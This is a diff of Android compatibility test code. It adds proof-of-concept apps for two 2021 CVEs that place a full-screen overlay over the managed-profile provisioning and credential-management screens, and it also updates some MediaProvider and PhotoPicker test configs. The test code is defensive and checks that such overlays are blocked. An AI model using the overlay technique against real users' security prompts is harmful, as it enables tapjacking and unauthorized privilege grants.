diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
new file mode 100644
index 00000000000..e2f6196e4d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ }
+ }
+
+ private void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Context context = getApplicationContext();
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ final int launchTimeoutMs = 20000;
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ launchTimeoutMs)) {
+ overlayDisallowed = true;
+ }
+
+ Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(context, PocDeviceAdminReceiver.class));
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ String testVulnerableActivity = ri.activityInfo.name;
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+ overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
new file mode 100644
index 00000000000..89a7d931479
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
+ PackageManager pm = getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+ try {
+ startActivityForResult(intent, 1);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (resultCode == Activity.RESULT_OK) {
+ this.setResult(Activity.RESULT_OK);
+ this.finish();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..455aa03141c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ super.onReceive(context, intent);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
new file mode 100644
index 00000000000..be96d115d4f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
new file mode 100644
index 00000000000..8c5b2519aa9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-39702",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
new file mode 100644
index 00000000000..60105d647cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39702"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2021_39702"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39702" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
new file mode 100644
index 00000000000..ede3c087bf2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="action">android.security.MANAGE_CREDENTIALS</string>
+ <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+ <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivity">dumpsys activity</string>
+ <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command</string>
+ <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string>
+ <string name="extraAuthenticationPolicy">android.security.extra.AUTHENTICATION_POLICY</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayAttack">overlayattack</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="testPkg">android.security.cts.CVE_2021_39702</string>
+ <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
new file mode 100644
index 00000000000..69e0f86a7aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.security.AppUriAuthenticationPolicy;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private static String VulnerableActivityName = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(context));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+ }
+ }
+
+ public void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context.getString(R.string.action));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder()
+ .addAppAndUriMapping(context.getString(R.string.testPkg), Uri.parse(""),
+ context.getString(R.string.overlayAttack))
+ .build();
+ intent.putExtra(context.getString(R.string.extraAuthenticationPolicy), policy);
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ VulnerableActivityName = ri.activityInfo.name;
+ assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null);
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Context context = getApplicationContext();
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ LAUNCH_TIMEOUT_MS)) {
+ overlayDisallowed = true;
+ }
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivity) + " " + VulnerableActivityName);
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
new file mode 100644
index 00000000000..e20029af7e0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ public static Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(context));
+ mButton = new Button(context);
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp
index 4ba3243e177..0a6dfd66ac8 100644
--- a/tests/MediaProviderTranscode/Android.bp
+++ b/tests/MediaProviderTranscode/Android.bp
@@ -7,6 +7,7 @@ android_test {
test_suites: [
"device-tests",
"cts",
+ "mts-mediaprovider",
],
compile_multilib: "both",
@@ -30,6 +31,7 @@ android_test {
"truth-prebuilt",
],
+ min_sdk_version: "30",
certificate: "media",
java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"]
}
@@ -45,6 +47,7 @@ android_test_helper_app {
],
static_libs: ["androidx.legacy_legacy-support-v4"],
target_sdk_version: "28",
+ min_sdk_version: "30",
}
android_test_helper_app {
@@ -58,4 +61,5 @@ android_test_helper_app {
],
static_libs: ["androidx.legacy_legacy-support-v4"],
target_sdk_version: "28",
+ min_sdk_version: "30",
}
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba7414c5c..6b9c8e902fe 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -19,6 +19,11 @@
<option name="install-arg" value="-g" />
</target_preparer>
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<option name="test-suite-tag" value="apct" />
<option name="test-suite-tag" value="cts" />
<option name="test-tag" value="MediaProviderTranscodeTests" />
@@ -32,4 +37,8 @@
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="hidden-api-checks" value="false"/>
</test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
</configuration>
diff --git a/tests/PhotoPicker/Android.bp b/tests/PhotoPicker/Android.bp
index 37b049b36c2..5a9fc331708 100644
--- a/tests/PhotoPicker/Android.bp
+++ b/tests/PhotoPicker/Android.bp
@@ -22,7 +22,7 @@ android_test {
test_config: "AndroidTest.xml",
srcs: ["src/**/*.java", "helper/**/*.java", ":CtsProviderTestUtils",],
compile_multilib: "both",
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
sdk_version: "core_current",
min_sdk_version: "30",
libs: [
diff --git a/tests/PhotoPicker/AndroidTest.xml b/tests/PhotoPicker/AndroidTest.xml
index dbd1bc41e5c..c52543e4c4b 100644
--- a/tests/PhotoPicker/AndroidTest.xml
+++ b/tests/PhotoPicker/AndroidTest.xml
@@ -23,6 +23,11 @@
<option name="force-root" value="false" />
</target_preparer>
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<option name="test-suite-tag" value="cts" />
<option name="test-tag" value="PhotoPickerTests" />
<!-- Instant apps cannot access external storage -->
diff --git a/tests/PhotoPicker/res/raw/test_video.mp4 b/tests/PhotoPicker/res/raw/test_video.mp4
new file mode 100644
index 00000000000..ab95ac07dd3
--- /dev/null
+++ b/tests/PhotoPicker/res/raw/test_video.mp4
Binary files differ
diff --git a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 b/tests/PhotoPicker/res/raw/test_video_dng.mp4
index 9b38f0e8e7d..9b38f0e8e7d 100644
--- a/tests/PhotoPicker/res/raw/testvideo_meta.mp4
+++ b/tests/PhotoPicker/res/raw/test_video_dng.mp4
Binary files differ
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
index 49a1acbd772..ecf82418345 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
@@ -25,6 +25,8 @@ import android.provider.DeviceConfig;
import androidx.test.InstrumentationRegistry;
import androidx.test.uiautomator.UiDevice;
+import com.android.modules.utils.build.SdkLevel;
+
import org.junit.Before;
/**
@@ -41,15 +43,17 @@ public class PhotoPickerBaseTest {
@Before
public void setUp() throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ mDevice = UiDevice.getInstance(inst);
- enablePhotoPickerFlag(inst);
+ final String setSyncDelayCommand =
+ "setprop persist.sys.photopicker.pickerdb.default_sync_delay_ms 0";
+ mDevice.executeShellCommand(setSyncDelayCommand);
mContext = inst.getContext();
final Intent intent = new Intent(mContext, GetResultActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
// Wake up the device and dismiss the keyguard before the test starts
- mDevice = UiDevice.getInstance(inst);
mDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
mDevice.executeShellCommand("wm dismiss-keyguard");
@@ -59,14 +63,4 @@ public class PhotoPickerBaseTest {
mActivity.clearResult();
mDevice.waitForIdle();
}
-
- private void enablePhotoPickerFlag(Instrumentation inst) {
- inst.getUiAutomation().adoptShellPermissionIdentity(
- Manifest.permission.WRITE_DEVICE_CONFIG);
- DeviceConfig.setProperty(
- DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT,
- "picker_intent_enabled" /* name */,
- "true" /* value */,
- false /* makeDefault */);
- }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
index 10587786202..1092406823f 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
